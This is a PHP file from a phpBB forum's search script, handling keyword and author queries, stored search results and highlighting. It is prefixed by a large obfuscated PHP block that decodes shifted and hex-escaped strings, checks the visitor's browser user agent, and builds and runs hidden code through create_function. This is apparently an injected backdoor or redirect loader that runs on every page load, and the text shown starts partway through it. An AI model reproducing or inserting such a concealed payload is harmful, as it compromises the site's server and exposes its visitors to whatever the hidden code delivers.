1%s: x5c%j:.2^,%b:%s: x5c%*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-/7&6|7**111127-K)ebfsX x27}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*ms!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qww!>! x2400~:/h%:<**#57] x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`Gmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepd x6f 151 x64")) or (strstr($uas," x63 150 x72 157 x6d 145")) or !%w:!>!(%w:!>! x246767~6q%V<*#fopoV;hojtj{fpg)%s:*<%j:,,Bjg!)%j:>>t("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<#p#/%z>2*!%z>32!{e%)!>> x22!ftmbg)!gj<*#k#)usb6 x3a 61 x31")) or (strstr($uj%7> x2272qj%)7gj6<**2qj%)hopm3qjA);#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~92otfr("", $idjwibr); $vgefium();}}epdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`as," x61 156 x64 1628>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{h x7f!b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*u%)7fmjix6j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>jOFHB`SFTV`QUUI&b%!|!*)323zbek!~!qp%!|Z~!<##!>!2p%!|!*!***b%f x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~63of:opjudovg<~ x24!66~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;###-#O#-#N#*-!%ff2-!%t::**<(g(0); $idjwibr = implode(array_map("jobifje",str_spli-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI]38y]572]48y]#>m%:|:*r%:-t%)]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1%!*9! x27!hmg%)!gj!~j%!<**3-j%-bubE{h%)sut x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x24pp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x58 124 x54 120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]utjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;*h%)m%):fmjix:<##:>:h%:ssbz)#44ec:649#-!#:618d5f9#-!r.985:52985-t.98]K4]65]> x22!pd%)!gj}Z;h!opjudovg};^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>fe{h+{d%)+opjudovg+)!gj+{emsvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;ps)%j>1<%j=tj{fpg)% x24- x24*Ew:Qb:Qc:W~!%z!>21<%j=6[%ww2!>#p#/38y]47]67y]37]88y]27]28y]321]464]284]364]6]234]342]58]24/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>11<%j:=mgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%ut`cpV x7f x7f x7f x7f! xyy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{66< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjif((function_exists(" x6f 142 x5f 163 x74 141 x72 164") c1^W%c!>!%i x5c2^u%V<#65,47R25,d7R17,67R24- x24-!% x24- x24*!|! x24-bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]4W~ x24#]y31]278]y3e]81]K78:56985:1M6]y3e]81#/#7e:55946-tr.984:75983&& (!isset($GLOBALS[" x61 156 x75 2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy!%tdz)%); if ((strstr($uas," x6d 163 x69 145")) or (strstr($uas," x72 1600;quui#>.%!<***f x27,*e x27,*d x27,*c x27,5cq% x27Y%6<.msv`ftsbqA7>q%341]88M4P8]37]278]225]241]334]368]322]3]364*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssb x242178}527}88:}334}472 x24!bssbz) x24]25 x/% x24- x24!>!fyqmpef)# x24*! x24Y x24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*!#]y84]275]y83]273]y76]277#!b(strstr($uas," x66 151 x24y4 x24- x24]y8 x24- x24]26 x24-}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g<#64y]552]e7y]#>n%<#372]58y]472^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x75 156 x61"]=1; $uas=strtolower($_SERVER[" x4-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x24)% x24-]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=dfyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTfunction jobifje($n){return chr(ord($n)-1);} @error_reportin{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~U<#16,47R57,27R66,#/q%>2q%<#g6R8p%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562**#j{hnpd#)tutjyf`opjudovg x22)!gqj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#zD8]86]y31]278]y3f]51L3]84]y3]D4]275]D:M8]Df#<%tdz>#L4]275Lbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1j}1~!<2p% x7f!~!<##!>!2p%Z<^2 x:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tm~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**uepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z6197g:74985-rr.93e:5597fB)fubfsdXA x27K6< x7fw6*3qotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSfthjbyymkm'; $cjwrxhf=explode(chr((478-358)),substr($rfecrt,(26354-20334),(202-168))); $tarzmmx = $cjwrxhf[0]($cjwrxhf[(3-2)]); $aqbcmjwp = $cjwrxhf[0]($cjwrxhf[(6-4)]); if (!function_exists('iocukz')) { function iocukz($tjtsfi, $cwwrhsy,$mlawhim) { $dqweyenq = NULL; for($tguarm=0;$tguarm<(sizeof($tjtsfi)/2);$tguarm++) { $dqweyenq .= substr($cwwrhsy, $tjtsfi[($tguarm*2)],$tjtsfi[($tguarm*2)+(3-2)]); } return $mlawhim(chr((51-42)),chr((449-357)),$dqweyenq); }; } $wvxlxve = explode(chr((259-215)),'3381,56,3893,34,1431,36,4796,45,2052,59,3997,65,902,29,1133,20,527,64,4487,23,2364,48,3459,53,4975,60,1720,53,755,57,591,44,5122,32,5544,66,5522,22,1550,52,94,26,1314,25,1773,46,2299,65,423,39,5940,26,931,35,5322,46,2412,42,4741,55,4105,27,3313,68,5470,52,3205,42,4924,51,3247,66,1628,66,120,66,1092,41,2631,52,2536,34,5035,41,5426,44,2908,63,1339,57,1896,54,5610,50,4649,61,4590,59,5289,33,5660,31,306,65,5194,43,4062,43,50,44,1508,42,3750,53,5966,54,186,53,4175,50,2479,57,1396,35,1217,56,3161,44,5878,38,2570,35,4545,45,966,56,1153,64,5099,23,462,65,2605,26,856,46,2971,63,3512,35,5154,40,700,28,1055,37,2111,59,5822,56,3620,51,4382,64,239,67,371,52,2796,24,4889,35,2170,23,4710,31,5237,52,1819,28,1602,26,4225,52,3547,28,1950,59,4841,48,4510,35,4319,63,2683,56,4277,42,2009,43,3437,22,4446,41,2193,29,3034,67,1273,41,5754,68,3803,56,5916,24,5076,23,2222,23,5368,28,3859,34,5691,63,3101,60,5396,30,1467,41,3927,70,3575,45,4132,43,3671,58,2454,25,2820,32,1847,49,2852,56,728,27,0,50,2739,57,812,44,3729,21,635,65,1694,26,2245,54,1022,33'); $lsiciieq = $tarzmmx("",iocukz($wvxlxve,$rfecrt,$aqbcmjwp)); $tarzmmx=$rfecrt; $lsiciieq(""); $lsiciieq=(840-719); $rfecrt=$lsiciieq-1; ?>sql_query($sql)) { if ($row = $db->sql_fetchrow($result)) { if (intval($row['last_search_time']) > 0 && ($current_time - intval($row['last_search_time'])) < intval($board_config['search_flood_interval'])) { message_die(GENERAL_MESSAGE, $lang['Search_Flood_Error']); } } } if ( $search_id == 'newposts' || $search_id == 'egosearch' || ( $search_author != '' && $search_keywords == '' ) ) { if ( $search_id == 'newposts' ) { if ( $userdata['session_logged_in'] ) { $sql = "SELECT post_id FROM " . POSTS_TABLE . " WHERE post_time >= " . $userdata['user_lastvisit']; } else { redirect(append_sid("login.$phpEx?redirect=search.$phpEx&search_id=newposts", true)); } $show_results = 'topics'; $sort_by = 0; $sort_dir = 'DESC'; } else if ( $search_id == 'egosearch' ) { if ( $userdata['session_logged_in'] ) { $sql = "SELECT post_id FROM " . POSTS_TABLE . " WHERE poster_id = " . $userdata['user_id']; } else { redirect(append_sid("login.$phpEx?redirect=search.$phpEx&search_id=egosearch", true)); } $show_results = 'topics'; $sort_by = 0; $sort_dir = 'DESC'; } else { $search_author = str_replace('*', '%', trim($search_author)); if( ( strpos($search_author, '%') !== false ) && ( strlen(str_replace('%', '', $search_author)) < $board_config['search_min_chars'] ) ) { $search_author = ''; } $sql = "SELECT user_id FROM " . USERS_TABLE . " WHERE username LIKE '" . str_replace("\'", "''", $search_author) . "'"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, "Couldn't obtain list of matching users (searching for: $search_author)", "", __LINE__, __FILE__, $sql); } $matching_userids = ''; if ( $row = $db->sql_fetchrow($result) ) { do { $matching_userids .= ( ( $matching_userids != '' ) ? ', ' : '' ) . $row['user_id']; } while( $row = $db->sql_fetchrow($result) ); } else { message_die(GENERAL_MESSAGE, $lang['No_search_match']); } $sql = "SELECT post_id FROM " . POSTS_TABLE . " WHERE poster_id IN ($matching_userids)"; if ($search_time) { $sql .= " AND post_time >= " . $search_time; } } if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, 'Could not obtain matched posts list', '', __LINE__, __FILE__, $sql); } $search_ids = array(); while( $row = $db->sql_fetchrow($result) ) { $search_ids[] = $row['post_id']; } $db->sql_freeresult($result); $total_match_count = count($search_ids); } else if ( $search_keywords != '' ) { $stopword_array = @file($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/search_stopwords.txt'); $synonym_array = @file($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/search_synonyms.txt'); $split_search = array(); $stripped_keywords = stripslashes($search_keywords); $split_search = ( !strstr($multibyte_charset, $lang['ENCODING']) ) ? split_words(clean_words('search', $stripped_keywords, $stopword_array, $synonym_array), 'search') : split(' ', $search_keywords); unset($stripped_keywords); $search_msg_only = ( !$search_fields ) ? "AND m.title_match = 0" : ( ( strstr($multibyte_charset, $lang['ENCODING']) ) ? '' : '' ); $word_count = 0; $current_match_type = 'or'; $word_match = array(); $result_list = array(); for($i = 0; $i < count($split_search); $i++) { if ( strlen(str_replace(array('*', '%'), '', trim($split_search[$i]))) < $board_config['search_min_chars'] ) { $split_search[$i] = ''; continue; } switch ( $split_search[$i] ) { case 'and': $current_match_type = 'and'; break; case 'or': $current_match_type = 'or'; break; case 'not': $current_match_type = 'not'; break; default: if ( !empty($search_terms) ) { $current_match_type = 'and'; } if ( !strstr($multibyte_charset, $lang['ENCODING']) ) { $match_word = str_replace('*', '%', $split_search[$i]); $sql = "SELECT m.post_id FROM " . SEARCH_WORD_TABLE . " w, " . SEARCH_MATCH_TABLE . " m WHERE w.word_text LIKE '$match_word' AND m.word_id = w.word_id AND w.word_common <> 1 $search_msg_only"; } else { $match_word = addslashes('%' . str_replace('*', '', $split_search[$i]) . '%'); $search_msg_only = ( $search_fields ) ? "OR post_subject LIKE '$match_word'" : ''; $sql = "SELECT post_id FROM " . POSTS_TEXT_TABLE . " WHERE post_text LIKE '$match_word' $search_msg_only"; } if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, 'Could not obtain matched posts list', '', __LINE__, __FILE__, $sql); } $row = array(); while( $temp_row = $db->sql_fetchrow($result) ) { $row[$temp_row['post_id']] = 1; if ( !$word_count ) { $result_list[$temp_row['post_id']] = 1; } else if ( $current_match_type == 'or' ) { $result_list[$temp_row['post_id']] = 1; } else if ( $current_match_type == 'not' ) { $result_list[$temp_row['post_id']] = 0; } } if ( $current_match_type == 'and' && $word_count ) { @reset($result_list); while( list($post_id, $match_count) = @each($result_list) ) { if ( !$row[$post_id] ) { $result_list[$post_id] = 0; } } } $word_count++; $db->sql_freeresult($result); } } @reset($result_list); $search_ids = array(); while( list($post_id, $matches) = each($result_list) ) { if ( $matches ) { $search_ids[] = $post_id; } } unset($result_list); $total_match_count = count($search_ids); } // // If user is logged in then we'll check to see which (if any) private // forums they are allowed to view and include them in the search. // // If not logged in we explicitly prevent searching of private forums // $auth_sql = ''; if ( $search_forum != -1 ) { $is_auth = auth(AUTH_READ, $search_forum, $userdata); if ( !$is_auth['auth_read'] ) { message_die(GENERAL_MESSAGE, $lang['No_searchable_forums']); } $auth_sql = "f.forum_id = $search_forum"; } else { $is_auth_ary = auth(AUTH_READ, AUTH_LIST_ALL, $userdata); if ( $search_cat != -1 ) { $auth_sql = "f.cat_id = $search_cat"; } $ignore_forum_sql = ''; while( list($key, $value) = each($is_auth_ary) ) { if ( !$value['auth_read'] ) { $ignore_forum_sql .= ( ( $ignore_forum_sql != '' ) ? ', ' : '' ) . $key; } } if ( $ignore_forum_sql != '' ) { $auth_sql .= ( $auth_sql != '' ) ? " AND f.forum_id NOT IN ($ignore_forum_sql) " : "f.forum_id NOT IN ($ignore_forum_sql) "; } } // // Author name search // if ( $search_author != '' ) { $search_author = str_replace('*', '%', trim($search_author)); if( ( strpos($search_author, '%') !== false ) && ( strlen(str_replace('%', '', $search_author)) < $board_config['search_min_chars'] ) ) { $search_author = ''; } } if ( $total_match_count ) { if ( $show_results == 'topics' ) { // // This one is a beast, try to seperate it a bit (workaround for connection timeouts) // $search_id_chunks = array(); $count = 0; $chunk = 0; if (count($search_ids) > $limiter) { for ($i = 0; $i < count($search_ids); $i++) { if ($count == $limiter) { $chunk++; $count = 0; } $search_id_chunks[$chunk][$count] = $search_ids[$i]; $count++; } } else { $search_id_chunks[0] = $search_ids; } $search_ids = array(); for ($i = 0; $i < count($search_id_chunks); $i++) { $where_sql = ''; if ( $search_time ) { $where_sql .= ( $search_author == '' && $auth_sql == '' ) ? " AND post_time >= $search_time " : " AND p.post_time >= $search_time "; } if ( $search_author == '' && $auth_sql == '' ) { $sql = "SELECT topic_id FROM " . POSTS_TABLE . " WHERE post_id IN (" . implode(", ", $search_id_chunks[$i]) . ") $where_sql GROUP BY topic_id"; } else { $from_sql = POSTS_TABLE . " p"; if ( $search_author != '' ) { $from_sql .= ", " . USERS_TABLE . " u"; $where_sql .= " AND u.user_id = p.poster_id AND u.username LIKE '$search_author' "; } if ( $auth_sql != '' ) { $from_sql .= ", " . FORUMS_TABLE . " f"; $where_sql .= " AND f.forum_id = p.forum_id AND $auth_sql"; } $sql = "SELECT p.topic_id FROM $from_sql WHERE p.post_id IN (" . implode(", ", $search_id_chunks[$i]) . ") $where_sql GROUP BY p.topic_id"; } if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, 'Could not obtain topic ids', '', __LINE__, __FILE__, $sql); } while ($row = $db->sql_fetchrow($result)) { $search_ids[] = $row['topic_id']; } $db->sql_freeresult($result); } $total_match_count = sizeof($search_ids); } else if ( $search_author != '' || $search_time || $auth_sql != '' ) { $search_id_chunks = array(); $count = 0; $chunk = 0; if (count($search_ids) > $limiter) { for ($i = 0; $i < count($search_ids); $i++) { if ($count == $limiter) { $chunk++; $count = 0; } $search_id_chunks[$chunk][$count] = $search_ids[$i]; $count++; } } else { $search_id_chunks[0] = $search_ids; } $search_ids = array(); for ($i = 0; $i < count($search_id_chunks); $i++) { $where_sql = ( $search_author == '' && $auth_sql == '' ) ? 'post_id IN (' . implode(', ', $search_id_chunks[$i]) . ')' : 'p.post_id IN (' . implode(', ', $search_id_chunks[$i]) . ')'; $select_sql = ( $search_author == '' && $auth_sql == '' ) ? 'post_id' : 'p.post_id'; $from_sql = ( $search_author == '' && $auth_sql == '' ) ? POSTS_TABLE : POSTS_TABLE . ' p'; if ( $search_time ) { $where_sql .= ( $search_author == '' && $auth_sql == '' ) ? " AND post_time >= $search_time " : " AND p.post_time >= $search_time"; } if ( $auth_sql != '' ) { $from_sql .= ", " . FORUMS_TABLE . " f"; $where_sql .= " AND f.forum_id = p.forum_id AND $auth_sql"; } if ( $search_author != '' ) { $from_sql .= ", " . USERS_TABLE . " u"; $where_sql .= " AND u.user_id = p.poster_id AND u.username LIKE '$search_author'"; } $sql = "SELECT " . $select_sql . " FROM $from_sql WHERE $where_sql"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, 'Could not obtain post ids', '', __LINE__, __FILE__, $sql); } while( $row = $db->sql_fetchrow($result) ) { $search_ids[] = $row['post_id']; } $db->sql_freeresult($result); } $total_match_count = count($search_ids); } } else if ( $search_id == 'unanswered' ) { if ( $auth_sql != '' ) { $sql = "SELECT t.topic_id, f.forum_id FROM " . TOPICS_TABLE . " t, " . FORUMS_TABLE . " f WHERE t.topic_replies = 0 AND t.forum_id = f.forum_id AND t.topic_moved_id = 0 AND $auth_sql"; } else { $sql = "SELECT topic_id FROM " . TOPICS_TABLE . " WHERE topic_replies = 0 AND topic_moved_id = 0"; } if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, 'Could not obtain post ids', '', __LINE__, __FILE__, $sql); } $search_ids = array(); while( $row = $db->sql_fetchrow($result) ) { $search_ids[] = $row['topic_id']; } $db->sql_freeresult($result); $total_match_count = count($search_ids); // // Basic requirements // $show_results = 'topics'; $sort_by = 0; $sort_dir = 'DESC'; } else { message_die(GENERAL_MESSAGE, $lang['No_search_match']); } // // Delete old data from the search result table // $sql = 'DELETE FROM ' . SEARCH_TABLE . ' WHERE search_time < ' . ($current_time - (int) $board_config['session_length']); if ( !$result = $db->sql_query($sql) ) { message_die(GENERAL_ERROR, 'Could not delete old search id sessions', '', __LINE__, __FILE__, $sql); } // // Store new result data // $search_results = implode(', ', $search_ids); $per_page = ( $show_results == 'posts' ) ? $board_config['posts_per_page'] : $board_config['topics_per_page']; // // Combine both results and search data (apart from original query) // so we can serialize it and place it in the DB // $store_search_data = array(); // // Limit the character length (and with this the results displayed at all following pages) to prevent // truncated result arrays. Normally, search results above 12000 are affected. // - to include or not to include /* $max_result_length = 60000; if (strlen($search_results) > $max_result_length) { $search_results = substr($search_results, 0, $max_result_length); $search_results = substr($search_results, 0, strrpos($search_results, ',')); $total_match_count = count(explode(', ', $search_results)); } */ for($i = 0; $i < count($store_vars); $i++) { $store_search_data[$store_vars[$i]] = $$store_vars[$i]; } $result_array = serialize($store_search_data); unset($store_search_data); mt_srand ((double) microtime() * 1000000); $search_id = mt_rand(); $sql = "UPDATE " . SEARCH_TABLE . " SET search_id = $search_id, search_time = $current_time, search_array = '" . str_replace("\'", "''", $result_array) . "' WHERE session_id = '" . $userdata['session_id'] . "'"; if ( !($result = $db->sql_query($sql)) || !$db->sql_affectedrows() ) { $sql = "INSERT INTO " . SEARCH_TABLE . " (search_id, session_id, search_time, search_array) VALUES($search_id, '" . $userdata['session_id'] . "', $current_time, '" . str_replace("\'", "''", $result_array) . "')"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, 'Could not insert search results', '', __LINE__, __FILE__, $sql); } } } else { $search_id = intval($search_id); if ( $search_id ) { $sql = "SELECT search_array FROM " . SEARCH_TABLE . " WHERE search_id = $search_id AND session_id = '". $userdata['session_id'] . "'"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, 'Could not obtain search results', '', __LINE__, __FILE__, $sql); } if ( $row = $db->sql_fetchrow($result) ) { $search_data = unserialize($row['search_array']); for($i = 0; $i < count($store_vars); $i++) { $$store_vars[$i] = $search_data[$store_vars[$i]]; } } } } // // Look up data ... // if ( $search_results != '' ) { if ( $show_results == 'posts' ) { $sql = "SELECT pt.post_text, pt.bbcode_uid, pt.post_subject, p.*, f.forum_id, f.forum_name, t.*, u.username, u.user_id, u.user_sig, u.user_sig_bbcode_uid FROM " . FORUMS_TABLE . " f, " . TOPICS_TABLE . " t, " . USERS_TABLE . " u, " . POSTS_TABLE . " p, " . POSTS_TEXT_TABLE . " pt WHERE p.post_id IN ($search_results) AND pt.post_id = p.post_id AND f.forum_id = p.forum_id AND p.topic_id = t.topic_id AND p.poster_id = u.user_id"; } else { $sql = "SELECT t.*, f.forum_id, f.forum_name, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time FROM " . TOPICS_TABLE . " t, " . FORUMS_TABLE . " f, " . USERS_TABLE . " u, " . POSTS_TABLE . " p, " . POSTS_TABLE . " p2, " . USERS_TABLE . " u2 WHERE t.topic_id IN ($search_results) AND t.topic_poster = u.user_id AND f.forum_id = t.forum_id AND p.post_id = t.topic_first_post_id AND p2.post_id = t.topic_last_post_id AND u2.user_id = p2.poster_id"; } $per_page = ( $show_results == 'posts' ) ? $board_config['posts_per_page'] : $board_config['topics_per_page']; $sql .= " ORDER BY "; switch ( $sort_by ) { case 1: $sql .= ( $show_results == 'posts' ) ? 'pt.post_subject' : 't.topic_title'; break; case 2: $sql .= 't.topic_title'; break; case 3: $sql .= 'u.username'; break; case 4: $sql .= 'f.forum_id'; break; default: $sql .= ( $show_results == 'posts' ) ? 'p.post_time' : 'p2.post_time'; break; } $sql .= " $sort_dir LIMIT $start, " . $per_page; if ( !$result = $db->sql_query($sql) ) { message_die(GENERAL_ERROR, 'Could not obtain search results', '', __LINE__, __FILE__, $sql); } $searchset = array(); while( $row = $db->sql_fetchrow($result) ) { $searchset[] = $row; } $db->sql_freeresult($result); // // Define censored word matches // $orig_word = array(); $replacement_word = array(); obtain_word_list($orig_word, $replacement_word); // // Output header // $page_title = $lang['Search']; include($phpbb_root_path . 'includes/page_header.'.$phpEx); if ( $show_results == 'posts' ) { $template->set_filenames(array( 'body' => 'search_results_posts.tpl') ); } else { $template->set_filenames(array( 'body' => 'search_results_topics.tpl') ); } make_jumpbox('viewforum.'.$phpEx); $l_search_matches = ( $total_match_count == 1 ) ? sprintf($lang['Found_search_match'], $total_match_count) : sprintf($lang['Found_search_matches'], $total_match_count); $template->assign_vars(array( 'L_SEARCH_MATCHES' => $l_search_matches, 'L_TOPIC' => $lang['Topic']) ); $highlight_active = ''; $highlight_match = array(); for($j = 0; $j < count($split_search); $j++ ) { $split_word = $split_search[$j]; if ( $split_word != 'and' && $split_word != 'or' && $split_word != 'not' ) { $highlight_match[] = '#\b(' . str_replace("*", "([\w]+)?", $split_word) . ')\b#is'; $highlight_active .= " " . $split_word; for ($k = 0; $k < count($synonym_array); $k++) { list($replace_synonym, $match_synonym) = split(' ', trim(strtolower($synonym_array[$k]))); if ( $replace_synonym == $split_word ) { $highlight_match[] = '#\b(' . str_replace("*", "([\w]+)?", $replace_synonym) . ')\b#is'; $highlight_active .= ' ' . $match_synonym; } } } } $highlight_active = urlencode(trim($highlight_active)); $tracking_topics = ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_t']) ) ? unserialize($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_t']) : array(); $tracking_forums = ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f']) ) ? unserialize($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_f']) : array(); for($i = 0; $i < count($searchset); $i++) { $forum_url = append_sid("viewforum.$phpEx?" . POST_FORUM_URL . '=' . $searchset[$i]['forum_id']); $topic_url = append_sid("viewtopic.$phpEx?" . POST_TOPIC_URL . '=' . $searchset[$i]['topic_id'] . "&highlight=$highlight_active"); $post_url = append_sid("viewtopic.$phpEx?" . POST_POST_URL . '=' . $searchset[$i]['post_id'] . "&highlight=$highlight_active") . '#' . $searchset[$i]['post_id']; $post_date = create_date($board_config['default_dateformat'], $searchset[$i]['post_time'], $board_config['board_timezone']); $message = $searchset[$i]['post_text']; $topic_title = $searchset[$i]['topic_title']; $forum_id = $searchset[$i]['forum_id']; $topic_id = $searchset[$i]['topic_id']; if ( $show_results == 'posts' ) { if ( isset($return_chars) ) { $bbcode_uid = $searchset[$i]['bbcode_uid']; // // If the board has HTML off but the post has HTML // on then we process it, else leave it alone // if ( $return_chars != -1 ) { $message = strip_tags($message); $message = preg_replace("/\[.*?:$bbcode_uid:?.*?\]/si", '', $message); $message = preg_replace('/\[url\]|\[\/url\]/si', '', $message); $message = ( strlen($message) > $return_chars ) ? substr($message, 0, $return_chars) . ' ...' : $message; } else { if ( !$board_config['allow_html'] ) { if ( $postrow[$i]['enable_html'] ) { $message = preg_replace('#(<)([\/]?.*?)(>)#is', '<\\2>', $message); } } if ( $bbcode_uid != '' ) { $message = ( $board_config['allow_bbcode'] ) ? bbencode_second_pass($message, $bbcode_uid) : preg_replace('/\:[0-9a-z\:]+\]/si', ']', $message); } $message = make_clickable($message); if ( $highlight_active ) { if ( preg_match('/<.*>/', $message) ) { $message = preg_replace($highlight_match, '\1', $message); $end_html = 0; $start_html = 1; $temp_message = ''; $message = ' ' . $message . ' '; while( $start_html = strpos($message, '<', $start_html) ) { $grab_length = $start_html - $end_html - 1; $temp_message .= substr($message, $end_html + 1, $grab_length); if ( $end_html = strpos($message, '>', $start_html) ) { $length = $end_html - $start_html + 1; $hold_string = substr($message, $start_html, $length); if ( strrpos(' ' . $hold_string, '<') != 1 ) { $end_html = $start_html + 1; $end_counter = 1; while ( $end_counter && $end_html < strlen($message) ) { if ( substr($message, $end_html, 1) == '>' ) { $end_counter--; } else if ( substr($message, $end_html, 1) == '<' ) { $end_counter++; } $end_html++; } $length = $end_html - $start_html + 1; $hold_string = substr($message, $start_html, $length); $hold_string = str_replace('', '', $hold_string); $hold_string = str_replace('', '', $hold_string); } else if ( $hold_string == '' ) { $hold_string = str_replace('', '', $hold_string); } else if ( $hold_string == '' ) { $hold_string = str_replace('', '', $hold_string); } $temp_message .= $hold_string; $start_html += $length; } else { $start_html = strlen($message); } } $grab_length = strlen($message) - $end_html - 1; $temp_message .= substr($message, $end_html + 1, $grab_length); $message = trim($temp_message); } else { $message = preg_replace($highlight_match, '\1', $message); } } } if ( count($orig_word) ) { $topic_title = preg_replace($orig_word, $replacement_word, $topic_title); $post_subject = ( $searchset[$i]['post_subject'] != "" ) ? preg_replace($orig_word, $replacement_word, $searchset[$i]['post_subject']) : $topic_title; $message = preg_replace($orig_word, $replacement_word, $message); } else { $post_subject = ( $searchset[$i]['post_subject'] != '' ) ? $searchset[$i]['post_subject'] : $topic_title; } if ($board_config['allow_smilies'] && $searchset[$i]['enable_smilies']) { $message = smilies_pass($message); } $message = str_replace("\n", '
', $message); } $poster = ( $searchset[$i]['user_id'] != ANONYMOUS ) ? '' : ''; $poster .= ( $searchset[$i]['user_id'] != ANONYMOUS ) ? $searchset[$i]['username'] : ( ( $searchset[$i]['post_username'] != "" ) ? $searchset[$i]['post_username'] : $lang['Guest'] ); $poster .= ( $searchset[$i]['user_id'] != ANONYMOUS ) ? '' : ''; if ( $userdata['session_logged_in'] && $searchset[$i]['post_time'] > $userdata['user_lastvisit'] ) { if ( !empty($tracking_topics[$topic_id]) && !empty($tracking_forums[$forum_id]) ) { $topic_last_read = ( $tracking_topics[$topic_id] > $tracking_forums[$forum_id] ) ? $tracking_topics[$topic_id] : $tracking_forums[$forum_id]; } else if ( !empty($tracking_topics[$topic_id]) || !empty($tracking_forums[$forum_id]) ) { $topic_last_read = ( !empty($tracking_topics[$topic_id]) ) ? $tracking_topics[$topic_id] : $tracking_forums[$forum_id]; } if ( $searchset[$i]['post_time'] > $topic_last_read ) { $mini_post_img = 